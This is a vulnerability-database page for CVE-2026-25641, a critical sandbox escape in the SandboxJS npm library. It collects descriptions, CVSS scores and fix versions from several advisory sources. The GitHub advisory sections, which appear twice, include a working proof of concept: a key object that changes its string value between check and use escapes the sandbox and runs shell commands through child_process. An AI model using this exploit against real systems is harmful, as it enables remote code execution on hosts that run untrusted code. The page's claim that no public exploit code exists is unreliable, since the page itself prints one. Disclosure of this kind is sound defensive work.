CVE-2026-25641
SandboxJS has a sandbox escape via TOCTOU bug on keys in property accesses
SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, there is a sandbox escape vulnerability due to a mismatch between the key on which the validation is performed and the key used for accessing properties. Even though the key used in property accesses is annotated as string, this is never enforced. So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using hasOwnProperty(key) and a different one for when the key is used for the actual property access. This vulnerability is fixed in 0.8.29.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
10.0
SandboxJS has a sandbox escape via TOCTOU bug on keys in property accesses
SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, there is a sandbox escape vulnerability due to a mismatch between the key on which the validation is performed and the key used for accessing properties. Even though the key used in property accesses is annotated as string, this is never enforced. So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using hasOwnProperty(key) and a different one for when the key is used for the actual property access. This vulnerability is fixed in 0.8.29.
- Record
CVE-2026-25641- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-367
- Updated
- 2026-11-02
EUVDEUVD-2026-5589
10.0
SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, there is a sandbox escape vulnerability due to a mismatch between the key on which the validation is performed and the key used for accessing properties. Even though the key used in property accesses is annotated as string, this is never enforced. So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using hasOwnProperty(key) and a different one for when the key is used for the actual property access. This vulnerability is fixed in 0.8.29.
- Record
EUVD-2026-5589- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-7x3h-rm86-3342
10.0
@nyariv/sandboxjs vulnerable to sandbox escape via TOCTOU bug on keys in property accesses
Summary
A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.
Details
Even though the key used in property accesses (b in the code below) is annotated as string, this is never enforced:
https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304
So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using hasOwnProperty(key) and a different one for when the key is used for the actual property access.
PoC
const Sandbox = require('@nyariv/sandboxjs').default;
const code = `
let a = new Map;
a.x = 23;
let count = 0;
let nastyProp = {toString: () => {if (count<1){count++;return "x"} else return "__proto__"}}
let mapProt = a[nastyProp];
mapProt.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`;
const scope = {};
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
exec(scope).run();
Impact
Remote code execution, if attacker can execute code inside the sandbox.
- Record
GHSA-7x3h-rm86-3342- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-74, CWE-367
- Updated
- 2026-11-02
NVD
10.0
SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, there is a sandbox escape vulnerability due to a mismatch between the key on which the validation is performed and the key used for accessing properties. Even though the key used in property accesses is annotated as string, this is never enforced. So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using hasOwnProperty(key) and a different one for when the key is used for the actual property access. This vulnerability is fixed in 0.8.29.
- Record
CVE-2026-25641- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - CVSS 3.1
- 9.0 Critical
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-367
- Updated
- 2026-11-02
OSV
10.0
SandboxJS has a sandbox escape via TOCTOU bug on keys in property accesses
SandboxJS is a JavaScript sandboxing library. Prior to 0.8.29, there is a sandbox escape vulnerability due to a mismatch between the key on which the validation is performed and the key used for accessing properties. Even though the key used in property accesses is annotated as string, this is never enforced. So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using hasOwnProperty(key) and a different one for when the key is used for the actual property access. This vulnerability is fixed in 0.8.29.
- Record
CVE-2026-25641- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-367
- Updated
- 2026-11-02
OSVGHSA-7x3h-rm86-3342
10.0
@nyariv/sandboxjs vulnerable to sandbox escape via TOCTOU bug on keys in property accesses
Summary
A sandbox escape vulnerabilities due to a mismatch between the key on which the validation is performed and the key used for accessing properties.
Details
Even though the key used in property accesses (b in the code below) is annotated as string, this is never enforced:
https://github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts#L304-L304
So, attackers can pass malicious objects that coerce to different string values when used, e.g., one for the time the key is sanitized using hasOwnProperty(key) and a different one for when the key is used for the actual property access.
PoC
const Sandbox = require('@nyariv/sandboxjs').default;
const code = `
let a = new Map;
a.x = 23;
let count = 0;
let nastyProp = {toString: () => {if (count<1){count++;return "x"} else return "__proto__"}}
let mapProt = a[nastyProp];
mapProt.has = isFinite;
console.log(
isFinite.constructor(
"return process.getBuiltinModule('child_process').execSync('ls -lah').toString()",
)(),
);`;
const scope = {};
const sandbox = new Sandbox();
const exec = sandbox.compile(code);
exec(scope).run();
Impact
Remote code execution, if attacker can execute code inside the sandbox.
- Record
GHSA-7x3h-rm86-3342- CVSS 3.1
- 10.0 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H - Weakness
- CWE-367, CWE-74
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@nyariv/sandboxjsnpm |
through 0.8.28 | 0.8.29 |
@nyariv/sandboxjsnpm |
before 0.8.29 | 0.8.29 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-25641 is a critical vulnerability (CVSS 10.0) in Nyariv Sandboxjs, published February 5, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.52%, the 44th percentile. Fixed in @nyariv/sandboxjs 0.8.29.
References
github.com/nyariv/SandboxJS/security/advisories/GHSA-7x3h-rm86-3342
github.com/nyariv/SandboxJS/commit/67cb186c41c78c51464f70405504e8ef0a6e43c3
github.com/nyariv/SandboxJS/blob/6103d7147c4666fe48cfda58a4d5f37005b43754/src/executor.ts
nvd.nist.gov/vuln/detail/CVE-2026-25641
github.com/advisories/GHSA-7x3h-rm86-3342
github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25641.json
github.com/nyariv/SandboxJS